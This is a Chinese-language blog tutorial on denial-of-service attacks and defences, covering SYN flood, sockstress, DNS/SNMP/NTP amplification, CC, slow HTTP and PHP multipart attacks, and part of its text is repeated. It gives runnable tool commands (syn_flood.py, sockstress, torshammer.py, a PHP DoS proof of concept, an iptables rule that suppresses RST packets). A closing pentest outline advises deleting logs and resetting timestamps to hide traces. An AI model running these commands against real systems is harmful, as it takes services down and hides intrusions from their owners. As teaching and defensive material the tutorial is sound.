在windows系统cmd命令行进行攻击测试即可
php-multipartform-dos-poc.py -t http://192.168.110.12/DVWA/login.php
应用层DoS攻击方式_Slowhttptest

低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)

最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)

尤其擅长攻击apache、tomcat (几乎百发百中)

客户端 100请求 – 服务端

1) 攻击方法实现:Slowloris、Slow HTTP POST攻击

耗尽应用的并发连接池,类似于Http层的Syn flood。

HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS

Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n…

Slow POST: HTTP头content-length声明长度,但body部分缓慢发送

2) 攻击方法实现:Slow Read attack攻击

与slowloris and slow POST目的相同,都是耗尽应用的并发连接池

不同之处在于请求正常发送,但慢速读取响应数据

攻击者调整TCP window窗口大小,使服务器慢速返回数据

3) 攻击方法实现:Apache Range Header attackk攻击

客户端传输大文件时,体积查过HTTP Body大小限制时进行分段

耗尽服务器CPU、内存资源

攻击测试:

torshammer.py –t 192.168.32.84 -p 8080 -r 1000

三、拒绝服务攻击防护思路

拒绝服务攻击防护方法

利用开源软件实现防护:

  1. TCP连接有效性检查

校验TCP连接时间,指定时间内服务器最少发送的报文数,校验失败的屏蔽时间

TCP连接约束 禁止代理访问

  1. 服务器资源占用限制

  2. TCP连接会话限制

  3. HTTP代理限制

消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

[外链图片转存中…(img-MzRU8bV7-1714128683803)]

做好人是要付出代价的,B为帮助A能顺利连接,需要分配内核资源维护半开连接,那么当B面临海量的大忽悠A时,如上图所示,SYN Flood攻击就形成了。攻击方A可以控制肉鸡向B发送大量SYN消息但不响应ACK消息,或者干脆伪造SYN消息中的Source IP,使B反馈的SYN-ACK消息石沉大海,导致B被大量注定不能完成的半开连接占据,直到资源耗尽,停止响应正常的连接请求。

利用脚本实现syn_flood攻击:

攻击脚本:syn_flood.py

环境准备:

安装Scapy到Debian, Ubuntu或Linux Mint 或kali
apt-get install python-scapy

安装Scapy到Fedora或CentOS/RHEL
yum install scapy
说明:在CentOS/RHEL上,你首先需要启用EPEL仓库

防火墙需要进行配置,阻止RST包发出
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.21.117 -j DROP
说明:发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。

攻击命令:

python syn-flodd.py 192.168.110.14 3389 20
利用软件实现syn_flood攻击:
攻击软件:FastSend

攻击效果抓包截图:

[外链图片转存中…(img-8rFiPMhm-1714128683804)]

[外链图片转存中…(img-6ubrSnco-1714128683804)]

2、 攻击协议原理介绍说明_socktress

2008年有Jack C.Louis发现,针对TCP服务的拒绝服务攻击:

消耗被攻击目标系统资源,与攻击目标建立大量socket链接

完成三次握手最后的ACK包window大小为0(客户端不接收数据),攻击者资源消耗小(CPU 内存 带宽)

异步攻击,单机可拒绝服务高配资源服务器

window窗,实现的TCP流控

利用脚本实现socktress攻击:

攻击脚本:socktress

环境准备:
防火墙需要进行配置,阻止RST包发出
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.21.117 -j DROP
说明:发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。

攻击命令:HTTP协议访问

C攻击脚本

./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -d 100000
./sockstress 1.1.1.1:80 eth0 -p payloads/http
说明:-d是微秒内指定,默认为1000000 改成10之后并发带度更快

攻击效果抓包截图:

[外链图片转存中…(img-iBUob7Od-1714128683804)]

攻击防护措施方法:

直到今天sockstress攻击仍然是一种很有效的DoS攻击方式,甶于建立完整的TCP三步握手,因此使用syn cookie防御无效,根本的防御方法是采用白名单(不实际)

折中对策:限制单位时间内每IP建的TCP连接数

封杀每30秒与80端口建立连接超过10个的IP地址

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP 
3、 攻击协议原理介绍说明_DNS方法攻击

产生大流量的攻击方法 DDos

单机的带宽优势

巨大单机数量形成的流量汇聚

利用协议特性实现放大效果的流量

DNS协议放大效果

查询请求流量小,但响应流量可能非常巨大

dig ANY hp.com @202.106.0.20 (流量放大约8倍)

攻击原理

伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询

DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS

4、 攻击协议原理介绍说明_SNMP放大攻击

简单网络管理协议(Simple Network Management Protocol

服务端UDP 161 / 162

管理站(manager /客户端)、被管理设备(agent /服务端)

管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象

每一个节点都有一个对象标识符(OID)来唯一的标识

IETF定义标准的MIB库/厂家自定义MIB库

攻击原理

请求流量小,查询结果返回流量大

结合伪造源地址实现攻击

5、攻击协议原理介绍说明_NTP放大攻击

**网络时间协议(**Network Time Protocol)

保证网络设备时间同步

电子设备互相干扰导致时钟差异越来越大

影响应用正常运行、日志审计不可信

服务端 UDP 123

攻击原理

NTP服务提供monlist (MON_GETLIST)查询功能,监控NTP服务器的状况

客户端查询时,NTP服务器返回最后同步时间的600个客户端IP,每6个IP—个数据包,最多100个数据包(放大约100倍)

6、 攻击协议原理介绍说明_CC攻击
实现DDOS和伪装攻击:CC(Challenge Collapsar)

CC主要是用来攻击页面的

可以增加数据库并发访问压力

服务端被访问频率越高,占用的系统资源越高

攻击原理:

攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃

就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量CPU时间)的页面

造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止

7、 攻击协议原理介绍说明_应用层DoS

应用服务漏洞

服务代码存在漏洞,遇异常提交数据时程序崩溃

应用处理大量并发请求能力有限,被拒绝的是应用或OS

缓冲区溢出漏洞

向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存

影响:远程代码执行、DoS

利用模糊测试方法发现缓冲区溢出漏洞

CesarFTP 0.99 服务漏洞

ftp_fuzz.py # MKD/RMD

MS12-020远程桌面协议DoS漏洞

功防演示过程:针对PHP版本低漏洞发起攻击

开启PHP网站服务:

[外链图片转存中…(img-2HO0Rd1g-1714128683805)]

利用代码向网站发起攻击:

在windows系统cmd命令行进行攻击测试即可
php-multipartform-dos-poc.py -t http://192.168.110.12/DVWA/login.php
应用层DoS攻击方式_Slowhttptest

低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)

最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)

尤其擅长攻击apache、tomcat (几乎百发百中)

客户端 100请求 – 服务端

1) 攻击方法实现:Slowloris、Slow HTTP POST攻击

耗尽应用的并发连接池,类似于Http层的Syn flood。

HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS

Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n…

Slow POST: HTTP头content-length声明长度,但body部分缓慢发送

2) 攻击方法实现:Slow Read attack攻击

与slowloris and slow POST目的相同,都是耗尽应用的并发连接池

不同之处在于请求正常发送,但慢速读取响应数据

攻击者调整TCP window窗口大小,使服务器慢速返回数据

3) 攻击方法实现:Apache Range Header attackk攻击

客户端传输大文件时,体积查过HTTP Body大小限制时进行分段

耗尽服务器CPU、内存资源

攻击测试:

torshammer.py –t 192.168.32.84 -p 8080 -r 1000

三、拒绝服务攻击防护思路

拒绝服务攻击防护方法

利用开源软件实现防护:

  1. TCP连接有效性检查

校验TCP连接时间,指定时间内服务器最少发送的报文数,校验失败的屏蔽时间
TCP连接约束 禁止代理访问

  1. 服务器资源占用限制

  2. TCP连接会话限制

  3. HTTP代理限制

一次完整的渗透测试流程通常分为以下几个步骤: 1. 阶段一:信息收集 这个阶段是为了获取目标系统的信息,包括IP地址、域名、网络拓扑结构、操作系统、服务、应用程序等等。渗透测试人员可以使用各种工具和技术,如端口扫描、WHOIS查询、DNS枚举、搜索引擎、社交工程等。 2. 阶段二:漏洞扫描与分析 在这个阶段,渗透测试人员会使用各种漏洞扫描工具对目标系统进行扫描,以识别潜在的漏洞和弱点。渗透测试人员还会对扫描结果进行分析和验证,以确定漏洞的可利用性和危害性。 3. 阶段三:攻击与渗透 在这个阶段,渗透测试人员会尝试利用已发现的漏洞和弱点,对目标系统进行攻击和渗透。这可能包括使用已知的攻击工具或编写自定义的攻击代码,以实现目标。 4. 阶段四:提权与维持访问 一旦成功渗透到目标系统,渗透测试人员会尝试提升其权限,以获取更高的访问级别和更敏感的信息。然后,他们会尝试维持对目标系统的访问,以便长期地进行监视和数据收集。 5. 阶段五:清理 在完成渗透测试之后,渗透测试人员会清理所有的痕迹和证据,以避免留下攻击痕迹和可能被发现的证据。这包括删除系统日志、恢复文件时间戳等。 6. 阶段六:报告 在完成渗透测试之后,渗透测试人员会生成一份详细的报告,列出所有发现的漏洞和弱点,以及建议的修补措施。此报告将提供给客户,以便他们能够采取必要的措施来保护其系统。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我不是陆神

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值